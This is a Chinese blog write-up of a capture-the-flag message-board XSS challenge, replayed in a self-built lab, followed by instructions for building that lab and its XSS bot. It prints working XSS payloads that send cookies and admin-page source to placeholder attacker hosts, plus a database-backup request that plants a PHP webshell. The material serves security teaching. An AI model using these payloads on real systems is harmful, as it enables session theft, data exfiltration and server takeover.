0x00前言

前段时间参加了第三届黑盾杯线下决赛的那个留言板xss没全做出来,所以这里自己搭建了1比1复刻了的环境,环境搭建的过程我放在最后(可能没人喜欢看)

靶场项目地址https://github.com/Junehck/xxs-vul

黑盾杯文章↓

0x01获取cookie

在自己的服务器上监听个端口然后使用img标签来获取cookie

23473-rqtmd6dxgnk.png

<script>
img= '<img src="http://xxxxx/?cookie= '+encodeURIComponent(document.cookie)+'" />';
document.write(img);
</script>

等待一会成功获取到cookie里面的flag

70122-4fqbriomavz.png

0x02获取页面源码

由于后台都需要本地才能操作所以这里要使用js来读取他的源码
55528-217lhobvl93.png

这里使用js读取本地admin页面源码然后传到我们监听的端口上

<script>
 function createXmlHttp() {
     if (window.XMLHttpRequest) {
         xmlHttp = new XMLHttpRequest()
     } else {
         var MSXML = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP');
         for (var n = 0; n < MSXML.length; n++) {
             try {
                 xmlHttp = new ActiveXObject(MSXML[n]);
                 break
             } catch(e) {}
         }
     }
 }
 createXmlHttp();
 xmlHttp.onreadystatechange = function(){
   if (xmlHttp.readyState == 4) {
         code=escape(xmlHttp.responseText);
         createXmlHttp();
         url = "http://x.x.x.x:1234";  //接收地址
         cc = "htmlcode=" + btoa(code);
         xmlHttp.open("POST", url, true);
         xmlHttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
         xmlHttp.send(cc)
   }
 };
 xmlHttp.open("GET", "http://127.0.0.1/admin/", true); //要获取源码的地址
 xmlHttp.send(null);
</script>

代码比较长也省得一直重新提交我们这里直接把代码放在外部然后引用

<script src="http://xxxxxx/test.js"></script>

19742-54zaoo30xf.png

成功获取页面源码base64解码然后在url解码即可

46790-jfjw5waqr8g.png

得到页面是一个备份的功能,得到数据库地址是web路径下的ly.db

08206-3ukd26pfqwe.png

0x03备份getshell

既然是文件数据库我们只要在数据库插入php语句然后备份成.php文件即可getshell,先评论个php语句

74483-mn1ngq8z5bj.png

然后把js内容改成备份的post包

 function createXmlHttp() {
     if (window.XMLHttpRequest) {
         xmlHttp = new XMLHttpRequest()
     } else {
         var MSXML = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP');
         for (var n = 0; n < MSXML.length; n++) {
             try {
                 xmlHttp = new ActiveXObject(MSXML[n]);
                 break
             } catch(e) {}
         }
     }
 }
createXmlHttp();
url = "http://127.0.0.1/admin/"; 
cc = "dbpath=../ly.db&bakpath=../php.php&Submit=1";
xmlHttp.open("POST", url, true);
xmlHttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlHttp.send(cc)

然后等待一会成功getshell

22785-o3h95mv80e.png

0x04xss环境+xssbot搭建

这里采用dokcer来进行搭建,先起一个centos7环境

docker run -itd -p 7890:80 --name=xss-vul --privileged=true centos:centos7 /usr/sbin/init

这里使用Selenium+PhantomJS来触发xss

4.1PhantomJS

PhantomJS下载地址 http://phantomjs.org/download.html

wget https://bitbucket.org/ariya/phantomjs/downloads/phantomjs-2.1.1-linux-x86_64.tar.bz2

解压tar.bz2需要额外安装

yum -y install bzip2
tar -jxvf  phantomjs-2.1.1-linux-x86_64.tar.bz2

给文件夹改一下名字然后创建一下软链接

mv phantomjs-2.1.1-linux-x86_64 phantomjs
ln -s /xssbot/phantomjs/bin/phantomjs /usr/bin/

然后安装一下需要的环境

yum -y install fontconfig-devel

然后测试是否成功

phantomjs --version

42660-ng9idubgwbi.png

4.2python

安装python3

yum install python3 -y 

最新版selenium已经放弃PhantomJS了,selenium版本降级安装

pip3 install selenium==2.48.0

然后使用下方代码测试是否成功

# -*- coding: utf-8 -*-
import sys
import codecs
sys.stdout = codecs.getwriter("utf-8")(sys.stdout.detach())

from selenium import webdriver
driver = webdriver.PhantomJS()
driver.get("https://www.baidu.com")
print(driver.title)#title

73044-ns5qxz5rhdi.png

4.3web环境

安装apache

yum install httpd -y

然后安装php跟sqlite3扩展

yum install php php-sqlite3 -y

然后开启http服务并设置开机自启

systemctl start httpd //启动apache
systemctl enable httpd //设置apache开机启动

然后写个phpinfo测试

echo '<?php phpinfo();?>'>/var/www/html/phpinfo.php

23309-esu0kjc2qna.png

然后下载源码放到/var/www/html,然后设置一下权限

chmod 777 -R /var/www/html

71408-rwl45dv2p5c.png

4.4bot计划任务

然后这里使用计划任务来每分钟触发xss,安装一下

yum install -y crontabs -y

然后设置启动跟开机自启

systemctl start crond
systemctl enable crond

然后修改pythond代码中请求的网址指定文件,那个文件是用来让bot触发xss的

driver.get("http://127.0.0.1/admin/admin_msg.php")

然后设置计划任务

(crontab -l;echo '*/1 * * * * python3 /xssbot/xssbot.py >> /xssbot/bot.log')|crontab -

查看计划任务

crontab -l

41607-no4xrktdsyr.png

最后修改:2022 年 10 月 11 日
  • 本文作者:Juneha
  • 本文链接:https://blog.mo60.cn/index.php/archives/487.html
  • 版权声明:本博客所有文章除特别声明外,均默认采用 CC BY-NC-SA 4.0 许可协议。
  • 文章声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任,本人坚决反对利用文章内容进行恶意攻击行为,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企业安全、国家安全。
如果觉得我的文章对你有用,请随意赞赏